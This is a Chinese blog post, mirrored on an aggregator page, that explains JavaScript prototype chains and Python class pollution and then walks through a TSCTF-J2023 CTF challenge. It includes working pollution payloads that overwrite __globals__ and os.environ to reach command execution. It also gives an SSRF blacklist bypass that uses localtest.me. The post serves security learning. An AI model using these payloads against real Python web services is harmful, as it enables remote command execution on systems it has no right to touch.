3

【原型链污染】Python与Js - CAP_D

 11 months ago
source link: https://www.cnblogs.com/capz/p/17769667.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

【原型链污染】Python与Js

最近在TSCTF的比赛题中遇到了Python的原型链污染题目,所以借此机会学习一下。说到原型链,最多的还是在Js中,所以就一并学习一下。(因为是菜鸡所以文章可能的存在一些错误,欢迎批评指正)。

二、JS原型链简介

原型是Js代码中对象的继承方式。其实和别的语言的继承方式类似,只不过这里将父类称之为原型。可以在浏览器控制台中测试以下代码:

const myObject = {
  city: "BJ",
  greet() {
    console.log(`Greetings from ${this.city}`);
  },
};

myObject.greet();

这是一个普通的访问对象属性的示例,代码输出为Greetings from BJ

控制台中只输入myObject.就可以看到该类所有的可访问属性:

prototype-pollution-Pythonimage-20231015223359367.png

可以看到存在一些我们没有定义的属性,这些属性就是继承自原型。

当我们访问一个对象的属性时,js代码会不断一层层向上寻找原型以及原型的原型,以此类推,最后如果找到的就可以访问,否则返回undefined。因此称之为原型链

类似于Python,所有的原型链存在一个最终的原型:Object.prototype。可以使用以下代码访问一个类的原型:

Object.getPrototypeOf(myObject);
myObject.__proto__

这样则会返回Object类。同时如果我们访问Object类的原型,则返回NULL。

还有一个问题:如果类中定义了一个原型中也存在的方法,那么访问时遵循什么原则呢?

运行下面的代码:

const myDate = new Date(1995, 11, 17);

console.log(myDate.getYear()); // 95

myDate.getYear = function () {
  console.log("something else!");
};

myDate.getYear(); // 'something else!'

可以看到有限访问类中存在属性,这也和其他语言相同。

三、Python中的原型链污染

其实Python中并没有原型这个概念,但是原型链污染实际上是一种类污染,就是我们通过输入从而控制Python类的继承,从而达到远程执行等恶意目的,所以这里模糊将其称为Python的原型链污染。

3.1 属性与魔术方法

在利用上,和flask的模板注入类似,需要使用到Python类的一些魔术方法:__str__()__call__()等等。但是因为我们的输入一般是str或者int型,所以直接在控制原始代码时会出现str等类型不能作为类的问题:

class Employee(): pass

a=Employee()

a.__class__='polluted'
print(a.__class__)

上面这段代码,尝试将对象a的类进行污染,但是会报错str类型不能作为类。但是a还存在一个属性__qualname__,用于访问类的名称:

class Employee(): pass

a=Employee()

a.__class__.__qualname__='polluted'
print(a.__class__)

通过这样的操作就可以实现修改a的类。

3.2 通过merge函数污染

一个标准的原型链污染所用代码:

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性,如果存在则可以将dst作为字典访问
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

这段代码的作用是将src字典中的内容递归地复制到dst字典中。下面通过这段代码进行类的污染:

class Employee: pass # Creating an empty class

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


emp_info = {
    "name":"Ahemd",
    "age": 23,
    "manager":{
            "name":"Sarah"
        },
    "__class__":{
            "__qualname__":"Polluted"
        }
    }


a= Employee()
merge(emp_info, a)

print(vars(a)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
print(a.__class__) #<class '__main__.Polluted'>

这段代码中,通过构造__class__属性中的__qualname__属性的值,并使用merge函数进行合并,因为Employee类本身具__class__属性,所以会被覆盖,实现了对对象a的污染。因为__class__等属性并不是Employee类本身的属性,而是继承的属性,所以print(vars(a))并没有打印出__class__的内容。

同样,如果我们使用下面的exp就可以实现对父类的污染:

emp_info = {
    "__class__":{
    	"__base__":{
    	    "__qualname__":"Polluted"
    	}
     }
}

当然,对于不可变类型Object或者str等,Python限制不能对其进行修改。

在这种情况下,如果代码中存在一些系统执行指令,并且merge的输入可控,就会导致系统执行漏洞:

import os

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class exp:
    def __init__(self,cmd):
        self.cmd=cmd
    def excute(self):
        os.system(self.cmd)

a=exp('1')
b={"cmd":"ping 127.0.0.1"}
merge(b,a)

print(vars(a))
a.excute()

3.3 任意子类的污染

3.3.1 方法

上面的代码虽然实现了命令执行,但是只是单纯地对一个普通类进行了污染。此时如果我们能找到通向其他类的属性链,就可以污染代码中的任意类,包括重要的一些内置类(例如命令执行类)。

这里其实和模板注入就非常相似了,我们都知道__globals__属性用于访问函数的全局变量字典,通过这个属性我们其实就可以实现一些变量的覆盖。但是我们如何访问这个属性呢,这个方法可以从任何已知函数定义的方法中进行访问。例如:

class A:
    def __init__(self):
        pass

instance=A()
print(instance.__init__.__globals__)

__init__属性是类中常见的函数,所以可以直接用它来实现访问__globas__变量。

但是你会说,如果没有__init__函数怎么办呢?这时就需要试试了,可以从基类Object中查找其子类,总归存在一个子类是有__init__属性的。payload:__class__.__base__.__subclasses__()

3.3.2 实例

对于这段代码:

import subprocess, json

class Employee:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

#
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess'])

subprocess.Popen('whoami', shell=True) 

在这里,通过寻找属性链,使用__globals__属性覆盖了subprocess的值,使其在cmd中执行了calc命令,实现了弹计算器。为什么需要找subprocess呢,主要原因还是因为通过这个模块来寻找os模块,这个才是远程执行的要点,如果代码已经import os了,那我们只需要通过__globals__属性访问即可。

3.4 通过Pydash函数污染

Pydash其实和merge函数类似,将在下面TSCTF这题中给出示例。

四、TSCTF-J2023 Python Not Node

题目给了源码:

from flask import Flask, request 
import os
import pydash
import urllib.request

app = Flask(__name__)
os.environ['cmd'] = "ping -c 10 www.baidu.com" 
black_list = ['localhost', '127.0.0.1']

class Userinfo:
   def __init__(self): 
       pass
       
class comexec:
   def test_ping(self):
       cmd = os.getenv('cmd') 
       os.system(cmd)
       
@app.route("/define", methods=['GET'])
def define():
   if request.remote_addr == '127.0.0.1':
       if request.method == 'GET':
           print(request.args)
           usname = request.args['username']
           info = request.args['info']
           origin_user = request.args['origin_user']
           user = {usname: info}
           print(type(user))
           pydash.set_with(Userinfo(), origin_user, user, lambda: {}) 
           result = comexec().test_ping()
           return "USER READY,JUST INSERT YOUR SEARCH RESULT"
   else:
       return "NOPE"
       
@app.route("/search", methods=['GET'])
def search():
   if request.method == 'GET':
       urls = request.args['url']
       for i in black_list:
           if i in urls:
               return "HACKER URL!"
       try:
           info = urllib.request.urlopen(urls).read().decode('utf-8') 
           return info
       except Exception as e:
           print(e)
               return "error" 
   else:
       return "Method error"
       
@app.route("/")
def home():
   return "<html> Welcome to this Challenge </html> <script>alert('focus on the 
source code')</script>"

if __name__ == "__main__":
   app.run(debug=True, port=37333, host='0.0.0.0')

这段代码两个考点,一个是SSRF的URL黑名单绕过,一个就是Python的原型链泄露。

  • SSRF

    • 常见的方式是8进制、16进制、302跳转等绕过,这些都被屏蔽了,最后题解说是简单的大小写绕过。

      但是做题的时候没想到,所以使用的是localtest.me域名绕过,这是大佬买下的域名,访问时其实是重定向到本机,这样的域名还有很多。

    • 还有一个点就是需要url编码避免参数的混淆解析,因为这里SSRF的域名也需要添加参数,所以我们要进行url编码。

  • 原型链污染

    origin_user=__class__.__init__.__globals__.os.environ&info=Polluted
    

    这里因为已经导入了os模块,所以可以直接通过__globals__进行访问。

Python原型链污染变体

Abdulrah33m's Blog

__EOF__


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK